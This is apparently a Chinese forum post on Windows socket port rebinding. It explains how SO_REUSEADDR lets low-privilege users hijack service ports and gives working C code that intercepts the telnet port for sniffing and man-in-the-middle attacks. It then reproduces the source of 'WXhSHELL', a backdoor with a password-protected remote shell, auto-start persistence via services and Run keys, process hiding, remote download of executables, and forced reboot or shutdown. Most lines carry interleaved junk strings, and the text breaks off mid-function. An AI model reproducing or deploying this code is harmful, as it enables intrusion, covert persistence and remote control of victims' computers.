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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {0?76|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V{][{5SR  
ZR1EtvVG  
  saddr.sin_family = AF_INET; 6Pz\6DU,I  
d$!ibL#o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OA_ %%A;o  
8W{R&Z7aL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &:rf80`z.  
EB \\ F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]]+"`t,-  
O?@AnkOhn  
  这意味着什么?意味着可以进行如下的攻击: R8HFyP  
8qT/1b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;yr 'K  
"zugnim  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?n}L+|  
c5JxKU_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 > B==*,|  
dwRJ0D]&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  37VSE@Z+  
.k}h'nE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )/UkJ/}j  
0VPa=AW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d2pVO]l YZ  
ZPXxrmq%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s\@!J.Da  
MZ0 J/@(  
  #include ,ecFHkT>  
  #include ]\{EUx9  
  #include _o;alt  
  #include    8IO4>CMkv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HM`;%0T0(  
  int main() 2gA6$s7  
  { _T1|_9b  
  WORD wVersionRequested; &Mol8=V)  
  DWORD ret; kxh $R>  
  WSADATA wsaData; KcHW>IBxdv  
  BOOL val; yovC~  
  SOCKADDR_IN saddr; 2TdcZ<k}J  
  SOCKADDR_IN scaddr; cf96z|^C  
  int err; J=  T!  
  SOCKET s; kEi!q  
  SOCKET sc; 2QdqVwm  
  int caddsize; {<V{0 s%  
  HANDLE mt; U<zOR=_  
  DWORD tid;   PAJt M  
  wVersionRequested = MAKEWORD( 2, 2 ); %5'6^bT  
  err = WSAStartup( wVersionRequested, &wsaData ); tks1*I$S<  
  if ( err != 0 ) { &4LrV+`$V  
  printf("error!WSAStartup failed!\n"); yTv#T(of  
  return -1; L:7%Wdyh  
  } 3{CXIS  
  saddr.sin_family = AF_INET; p~qdkA<  
   MFRM M%`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }}<^f M  
s$A|>TOY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +ps(9O/B>  
  saddr.sin_port = htons(23); 1jDN=hIl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QN":Qk(,q  
  { [&51m^  
  printf("error!socket failed!\n"); m)V%l0  
  return -1; ^I7iEv  
  } arm26YA-,  
  val = TRUE; X-=49)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fTMn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EW]rD  
  { U 1vZ r{\  
  printf("error!setsockopt failed!\n"); b:2# 3;)  
  return -1; A|7%j0T  
  } idEhxvAo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /; w(1)B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 13kl\ <6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b-,4< H8m  
f<<1.4)oSV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  (cx Q<5  
  { tw,uV)xm  
  ret=GetLastError(); FG/1!8F  
  printf("error!bind failed!\n"); ka0MuQ M  
  return -1; !Wgi[VB  
  } !ap}+_IA7^  
  listen(s,2); Ejmpg_kux  
  while(1) ]De<'x}  
  { G .NGS%v  
  caddsize = sizeof(scaddr); ZwM(H[iqL  
  //接受连接请求 \I (g70  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KSz;D+L \  
  if(sc!=INVALID_SOCKET) 3s;^p,9 Y  
  { s+DOr$\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;?4EVZ#o  
  if(mt==NULL) %py3fzg  
  { ~wvu7  
  printf("Thread Creat Failed!\n"); FN\*x:g  
  break; f}=>c|Do  
  } a]]eQ(xQ  
  } .~u[rc|<  
  CloseHandle(mt); #Pt_<?JtV  
  } qz95)  
  closesocket(s); 0~4Ww=#  
  WSACleanup(); E6XDn`:  
  return 0; \xG_q>1_  
  }   LGB}:;$AL  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6+!$x?5|NP  
  { -!q^/ux  
  SOCKET ss = (SOCKET)lpParam; - ({h @  
  SOCKET sc; !y+uQ_IS@  
  unsigned char buf[4096]; x n?$@  
  SOCKADDR_IN saddr; 4( $p8J  
  long num; MQ#k`b#()  
  DWORD val; 2)hfYLi  
  DWORD ret; Y O&@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]n}aePl}oU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SP.k]@P  
  saddr.sin_family = AF_INET; 0RgE~x!hI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F_G .$a Cc  
  saddr.sin_port = htons(23); fJOw E g|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b+1!qNuCW#  
  { 1%ENgb:8  
  printf("error!socket failed!\n"); L+N\B@ 0-  
  return -1; M0yv= g  
  } w p\-LO~  
  val = 100; Q p7h|<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1J([*)  
  { =WT&unw}  
  ret = GetLastError(); o%7-<\qS  
  return -1; Jr5dw=B gw  
  } DSQ2|{   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9TX2h0U?  
  {  LAkBf  
  ret = GetLastError(); PriLV4?  
  return -1; @Bds0t  
  } {7jl) x3l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X$e*s\4  
  { !0dQfj^_  
  printf("error!socket connect failed!\n"); i-PK59VZ8f  
  closesocket(sc); p4V*%A&w  
  closesocket(ss); |sdG<+  
  return -1; NOg/rDs'{  
  } 0<7sM#sI!  
  while(1) auga`*  
  { Sl/]1[|mb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u@1 2:U$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9 ,:#Q<UM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k@ <dru  
  num = recv(ss,buf,4096,0); -L +kt_>  
  if(num>0) ,OWk[0/  
  send(sc,buf,num,0); UB/"&I uo  
  else if(num==0) h4jo<yp\  
  break; v4<W57oH  
  num = recv(sc,buf,4096,0); elAWQEu s  
  if(num>0) XLC9B3Jt  
  send(ss,buf,num,0); )9^)t   
  else if(num==0) Z#.1p'3qm1  
  break; ,Kl:4 Tv  
  } <rtKPlb//  
  closesocket(ss); /jNvHo^B  
  closesocket(sc); ! ui   
  return 0 ; ^3[_4av  
  } 6se8`[  
*?BY+0  
+j{(NwsX  
========================================================== sC.b '1P  
Q7rBc wm5  
下边附上一个代码,,WXhSHELL qCg<g  
u$ yXuFj/  
========================================================== Vbt!, 2_)  
^R=`<jx   
#include "stdafx.h" ;89kL]  
8T1zL.u>q  
#include <stdio.h> VcGl8~#9  
#include <string.h> >ei~:z]R  
#include <windows.h> >MJ#|vO  
#include <winsock2.h> E447'aJ  
#include <winsvc.h> +q'\rpt  
#include <urlmon.h> ?h6|N%U'  
vo f8bQ{&  
#pragma comment (lib, "Ws2_32.lib") {;DAKWm@T  
#pragma comment (lib, "urlmon.lib") gu3iaM$W  
Mh*r)B~%[  
#define MAX_USER   100 // 最大客户端连接数 dzEi^* (8  
#define BUF_SOCK   200 // sock buffer K(i}?9WD  
#define KEY_BUFF   255 // 输入 buffer  tPQ|znB|  
r[4n2Mys  
#define REBOOT     0   // 重启 ~4khIz  
#define SHUTDOWN   1   // 关机 kN.;;HFq#  
jB(+9?;1${  
#define DEF_PORT   5000 // 监听端口 A+="0{P  
-Y@tx fu-  
#define REG_LEN     16   // 注册表键长度 I<O$);DV'  
#define SVC_LEN     80   // NT服务名长度 @oE 5JM  
xRe`Duy:  
// 从dll定义API RI@\cJ\}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T/\RViG3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y QClq{A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x>}ml\R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =nHKTB>  
iP0m1  
// wxhshell配置信息 N2O *g`YC  
struct WSCFG { r5DR F4,7  
  int ws_port;         // 监听端口 V_:`K$  
  char ws_passstr[REG_LEN]; // 口令 HD^#"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?>Sv_0  
  char ws_regname[REG_LEN]; // 注册表键名 S s+F  
  char ws_svcname[REG_LEN]; // 服务名 wkM1tKhy/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /QY F|%7!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iqvLu{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S[1<Qrv]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hE|P|0U,n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Q%Hi7JMi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,c4HicRJ#  
~f h  
}; 4p,:}h  
y6nP=g|')>  
// default Wxhshell configuration G9f6'5 O  
struct WSCFG wscfg={DEF_PORT, Ea&|kO|  
    "xuhuanlingzhe", A#. %7S  
    1, C3}:DIn"w  
    "Wxhshell", >G:Q/3jh  
    "Wxhshell", H].|K/-p  
            "WxhShell Service", hI'WfF!X  
    "Wrsky Windows CmdShell Service", rW)h ? , b  
    "Please Input Your Password: ", !l9{R8m>eJ  
  1, pcy;]U ?  
  "http://www.wrsky.com/wxhshell.exe", <{isWEW9]3  
  "Wxhshell.exe" kJJT`Ba&/  
    }; au{) 5W4~  
5dm~yQN/  
// 消息定义模块 $D1ha CL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; itg_+%^R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j(=w4Sd_W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5tYo! f  
char *msg_ws_ext="\n\rExit."; (-gomn  
char *msg_ws_end="\n\rQuit."; _#u\ar)  
char *msg_ws_boot="\n\rReboot..."; f' ?/P~[  
char *msg_ws_poff="\n\rShutdown..."; A`n>9|R  
char *msg_ws_down="\n\rSave to "; n9'3~qVZ  
a_RY Yj  
char *msg_ws_err="\n\rErr!"; riDb !oC  
char *msg_ws_ok="\n\rOK!"; 17 Ugz?  
wXKtQ#o}  
char ExeFile[MAX_PATH]; hq 3n&/  
int nUser = 0; =]%JTGdp(  
HANDLE handles[MAX_USER]; vN Bg&m  
int OsIsNt; r[S(VPo[()  
pR61bl)  
SERVICE_STATUS       serviceStatus; wtw=RA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F_Y]>,U  
/'sv7hg+  
// 函数声明 w\)K0RN  
int Install(void); ,U~A=bsa  
int Uninstall(void); h3o'T=`Sm  
int DownloadFile(char *sURL, SOCKET wsh); suY47DCX)  
int Boot(int flag); 1,-C*T}nR  
void HideProc(void); ye(b 7CX  
int GetOsVer(void); jr=9.=jI8k  
int Wxhshell(SOCKET wsl); &DLWlMGq  
void TalkWithClient(void *cs); dHy9 wU  
int CmdShell(SOCKET sock); wXIRn?z  
int StartFromService(void); B*T n@t W  
int StartWxhshell(LPSTR lpCmdLine); GC')50T J  
2? qC8eC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {7o3wxsS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o-\h;aQJ  
gXxi; g  
// 数据结构和表定义 #EH=tJgO|J  
SERVICE_TABLE_ENTRY DispatchTable[] = "`>6M&`U  
{ 0P$1=oK  
{wscfg.ws_svcname, NTServiceMain}, 8A#,*@V[  
{NULL, NULL} 'Aq^z%|  
}; P([!psgu  
], lLD UZ\  
// 自我安装 C%z)D1-  
int Install(void) Tqt-zX|>  
{ "w:h  
  char svExeFile[MAX_PATH]; !"N,w9MbD  
  HKEY key; /6 ')B !&  
  strcpy(svExeFile,ExeFile); yaR>?[h  
@IL04' \  
// 如果是win9x系统,修改注册表设为自启动 wlXs/\es  
if(!OsIsNt) { T#ls2UL*xh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X q?>a+B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B!wN%> U  
  RegCloseKey(key); 8,U~ p<Gz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !D=!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 0tA5AP  
  RegCloseKey(key); sY;h~a0n  
  return 0; Uu_qy(4  
    } vNSUrf,r  
  } c,a8#Og  
} o(hUC$vW  
else { JP>EW&M  
GHsDZ(d3.  
// 如果是NT以上系统,安装为系统服务 s<!A< +Sh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JWNN5#=fQ  
if (schSCManager!=0) W Z'<iI  
{ >V"{]v  
  SC_HANDLE schService = CreateService 9<gW~ s>  
  ( //&3{B  
  schSCManager, c8&3IzZ  
  wscfg.ws_svcname, W`[VLi}fe  
  wscfg.ws_svcdisp, Ca~8cQ  
  SERVICE_ALL_ACCESS, ,;pUBrz/[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dcf,a<K\  
  SERVICE_AUTO_START, jr` swyg  
  SERVICE_ERROR_NORMAL, !]F`qS>  
  svExeFile, o@)Fy51DD  
  NULL, Ue}1(2.v  
  NULL, 1S?~ c25=h  
  NULL, *y4DK6OFe  
  NULL, xm{?h,U,  
  NULL P.Nt jz/B  
  ); 5gf ~/Zr  
  if (schService!=0) zqA>eDx  
  { HhynU/36  
  CloseServiceHandle(schService); 2 5~Z%_?  
  CloseServiceHandle(schSCManager); \l!+l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =F \Xt "  
  strcat(svExeFile,wscfg.ws_svcname); Vh0cac|X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -5*OSA:8x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ s 3aaOL  
  RegCloseKey(key); O~5t[  
  return 0; D"4*l5l  
    } b$@I(.X:  
  } g:!U,<C^a  
  CloseServiceHandle(schSCManager); |b\a)1Po:  
} <-1:o*8:}  
} rZgu`5 <a  
- |p eD L  
return 1; v.RA{a 9  
} -|V#U`mwF  
H,D5)1Uu  
// 自我卸载 JZ}zXv   
int Uninstall(void) Q&I #  
{ ?= 7k<a~  
  HKEY key; }XUL\6U  
wqG#jC!5  
if(!OsIsNt) { &k'<xW?x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,u}wW*?,sT  
  RegDeleteValue(key,wscfg.ws_regname); + E{[j  
  RegCloseKey(key); ozY$}|sjDT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H^'%$F?Ss  
  RegDeleteValue(key,wscfg.ws_regname); G ]h  
  RegCloseKey(key); F:jNv3W1  
  return 0; +(!/(2>~  
  } uihH")Mo  
} OG{*:1EP  
} =Htt'""DN  
else { y{M7kYWtHV  
r 1HG$^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Kb ]}p  
if (schSCManager!=0) ,~3rY,y-  
{ r`- 8+"P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T'6`A<`3  
  if (schService!=0) 6"_pCkn;c<  
  { 1L`V{\_0s  
  if(DeleteService(schService)!=0) { ,hf W2}  
  CloseServiceHandle(schService); ViW2q"4=  
  CloseServiceHandle(schSCManager); ]U#of O  
  return 0; .-YE(}^  
  } @KM?agtlbl  
  CloseServiceHandle(schService); f I%8@ :  
  } GJWGT`"  
  CloseServiceHandle(schSCManager); 0:Bpvl5  
} %<^^ Mw  
} bGwOhd<.  
Bvvja C  
return 1; {_!,T%>+1  
} p"P+8"`  
^U?Ac=  
// 从指定url下载文件 F;_c x  
int DownloadFile(char *sURL, SOCKET wsh) m=n79]b:N  
{ ;%0kzIvP  
  HRESULT hr; bj`GGxzOb  
char seps[]= "/"; iuj%.}  
char *token; ]Sj;\Iz  
char *file; NU_^*@k  
char myURL[MAX_PATH]; a;bmlV04  
char myFILE[MAX_PATH]; 4Q#{,y944  
yR~$i3Z*  
strcpy(myURL,sURL); J<L\IP?%  
  token=strtok(myURL,seps); Y*#xo7#B  
  while(token!=NULL) P84YriLo  
  { vJs6nVbK  
    file=token; 'Ev[G6vo  
  token=strtok(NULL,seps); +\["HS7+'0  
  } `}`Qqv  
PK|qiu-O&*  
GetCurrentDirectory(MAX_PATH,myFILE); [ PN2^  
strcat(myFILE, "\\"); 6&]Z'nW0k  
strcat(myFILE, file); VsTgK  
  send(wsh,myFILE,strlen(myFILE),0); )o:sDj`b]  
send(wsh,"...",3,0); 8N)Lck2PR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cgln@Rz  
  if(hr==S_OK) G(?1 Urxi  
return 0; `StuUa  
else bp/l~h.7W  
return 1; <r <{4\%}  
p5qfv>E8)  
} &_]G0~e  
^X6e\]yj  
// 系统电源模块 #9s)fR  
int Boot(int flag) {Y/0BS2D  
{  #*rJI3  
  HANDLE hToken; 6Br^Ugy  
  TOKEN_PRIVILEGES tkp; :Z/\U*6~  
'0 ~?zP  
  if(OsIsNt) { 'DXT7|Df  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h<M1q1)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t ]Ln(r  
    tkp.PrivilegeCount = 1; 3{.]!   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f"gYXaVF+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #qk=R7" Q  
if(flag==REBOOT) { /":/DwI'   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dn}EM7:Z  
  return 0; tBkgn3w  
} EZ>(}  
else { 0t7)x8c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /JRZ?/<1  
  return 0; |%5pzYe  
} O*/%z r  
  } S]=.p-Am  
  else { S0OL;[*.  
if(flag==REBOOT) { ZD]{HxGL!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U:99w  
  return 0; Y5 ;a  
} *.eeiSi{  
else { E$z-|-{>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cQxUEY('+  
  return 0; TDZ==<C  
} @"h4S*U  
} I@z@s}x>  
prt(xr4@  
return 1; 8.jf6   
} )2wf D  
"5dke^yk0  
// win9x进程隐藏模块 CB-;Jqb  
void HideProc(void) m+8:_0x "  
{ :FU?vh$)  
@i> r(X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z3MhHvvgp{  
  if ( hKernel != NULL ) F5+F O^3E  
  { 8ZbXGQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1!V[fPJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8mmnnf{P  
    FreeLibrary(hKernel); 4".I*ij  
  } r [^.\&-  
._>03,"  
return; \VEnP=*:W  
} 9W(&g)`  
@D*PO-s9  
// 获取操作系统版本 ud(0}[  
int GetOsVer(void) w%TrL+v  
{ sZ&6g<8#y  
  OSVERSIONINFO winfo; ts(u7CJd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  wT19m  
  GetVersionEx(&winfo); _1Rw~}O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '_7rooU9  
  return 1; 'Q=)-  
  else 8EkzSe  
  return 0; P@GU2[1  
} )TVd4s(e  
"y*3p0E  
// 客户端句柄模块 !oXFDC3k  
int Wxhshell(SOCKET wsl)  k4<28  
{ Q|+ a   
  SOCKET wsh; >&e=0@?+G  
  struct sockaddr_in client; Nz3+yxv1  
  DWORD myID; $Bncdf  
z.SKawm6T  
  while(nUser<MAX_USER) *-fd$l.  
{ a+J>  
  int nSize=sizeof(client); 6Q>:vQ+E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oV['%Z'  
  if(wsh==INVALID_SOCKET) return 1; tA4Ra,-c  
n6,YA2yZO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :4 z\Q]  
if(handles[nUser]==0) 3QZm *. /"  
  closesocket(wsh); OAiW8B Ae  
else (y?F8]TfM  
  nUser++; _kRc"MaB  
  } e0TxJ*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RLL ph  
gCsN\z  
  return 0; 6 %aaK|0  
} 2G-"HOG  
`WCL-OoZc5  
// 关闭 socket l=T;hk  
void CloseIt(SOCKET wsh) 6W1+@ q  
{ aY,Bt  
closesocket(wsh); jyF*JQjK4  
nUser--; B_[I/ ?  
ExitThread(0); $ S3b<]B  
} gfN=0Xj4  
\kUQe-:he  
// 客户端请求句柄 _IOUhMo  
void TalkWithClient(void *cs) 3^&`E} r  
{ f{L;,  
2`;XcY4A  
  SOCKET wsh=(SOCKET)cs; 1}c /l<d  
  char pwd[SVC_LEN]; mE{QTZS  
  char cmd[KEY_BUFF]; H[s+.&^  
char chr[1]; GTfM *b  
int i,j; aj|PyX3P:  
S]%,g%6i  
  while (nUser < MAX_USER) { Bca$%3M  
@}R y7H0O  
if(wscfg.ws_passstr) { |6?s?tC"u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xc @$z* w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =$bF[3D  
  //ZeroMemory(pwd,KEY_BUFF); -le^ 5M7  
      i=0; TlyBpG=p  
  while(i<SVC_LEN) { Y ~I>mc]  
\hI?XnL#  
  // 设置超时 'xai5X  
  fd_set FdRead; ,0AS&xs$  
  struct timeval TimeOut; [S]q'c)  
  FD_ZERO(&FdRead); 44~ReN}`  
  FD_SET(wsh,&FdRead); EI?8/c  
  TimeOut.tv_sec=8; vv Y?8/  
  TimeOut.tv_usec=0; IFr"IOr'l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mT@Gf>}/A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9&zR i  
HH6H4K3Zj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^|vk^`S  
  pwd=chr[0]; iJ*Wsp  
  if(chr[0]==0xd || chr[0]==0xa) { a]P%Y.? r  
  pwd=0; BcpbS%S  
  break; b p?TO]LH  
  } KK >j V  
  i++; 5QXU"kWH  
    } +PsR*T  
jCtk3No  
  // 如果是非法用户,关闭 socket H'k~;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jpp-3i.F#  
} '>1M~B  
Z)~?foe'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OOIp)=4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &,PA+#  
Z>3~n  
while(1) { [ywF!#'){  
Hr}"g@ <  
  ZeroMemory(cmd,KEY_BUFF); WhH60/`  
5"3 `ss<m  
      // 自动支持客户端 telnet标准   I+kL;YdS  
  j=0; 3l`"(5  
  while(j<KEY_BUFF) { tFn[U#'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Oh$pZRymu  
  cmd[j]=chr[0]; nXfz@q  
  if(chr[0]==0xa || chr[0]==0xd) { O,^s)>c  
  cmd[j]=0; Yyd}>+|<,  
  break; v_%6Ly  
  } ("}Hs[  
  j++; ^fd*KM  
    } Ho/tCU|w  
5z3WRg  
  // 下载文件 7|dm"%@  
  if(strstr(cmd,"http://")) { U,yZ.1V^:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }0 H<G0   
  if(DownloadFile(cmd,wsh)) #WG;p(?:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3K~^H1l  
  else "N &ix*($  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B[8 RBTsA  
  } 7yg {0a  
  else { &``nD  
|8k^jq  
    switch(cmd[0]) { F:<+}{Av  
  >#mKM%T2MJ  
  // 帮助 a}VR>!b  
  case '?': { /i@.Xg@:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N@k' s   
    break; @(x]+*)  
  } AZNo%!)o  
  // 安装 :&z!o"K  
  case 'i': { Dn#5H{D-d  
    if(Install())  FO!0TyQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "3Dnp?gB  
    else \&V[<]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SV ~QH&0'  
    break; 5M)B  
    } {*CG&-k2D  
  // 卸载 @g#| srYD  
  case 'r': { "tk1W>liIN  
    if(Uninstall()) U$a)lcJd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{iTS sb  
    else uW[AnQ1w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I hSXU<]  
    break; OH n~DL2  
    } :Zq?V`+M  
  // 显示 wxhshell 所在路径 JDnWBEV  
  case 'p': { ~/SLGyu  
    char svExeFile[MAX_PATH]; d1^5r 31  
    strcpy(svExeFile,"\n\r"); ^"/TWl>jB  
      strcat(svExeFile,ExeFile); 4Vf-D% h>a  
        send(wsh,svExeFile,strlen(svExeFile),0); H|?r_Ns  
    break; F [-D +Nka  
    } O7Jp ;  
  // 重启 @c8RlW/A  
  case 'b': { AoxORPp'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4TU\SP8sM  
    if(Boot(REBOOT)) ?_S);  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ByKTx &  
    else { Q(1R=4?.Z  
    closesocket(wsh); [!KsAsmk  
    ExitThread(0); *}(B"FSO  
    } r_'];  
    break; !.@:t`w  
    } 4^Ks!S>K{8  
  // 关机 BUh(pS:  
  case 'd': { 1,Pg^Xu  
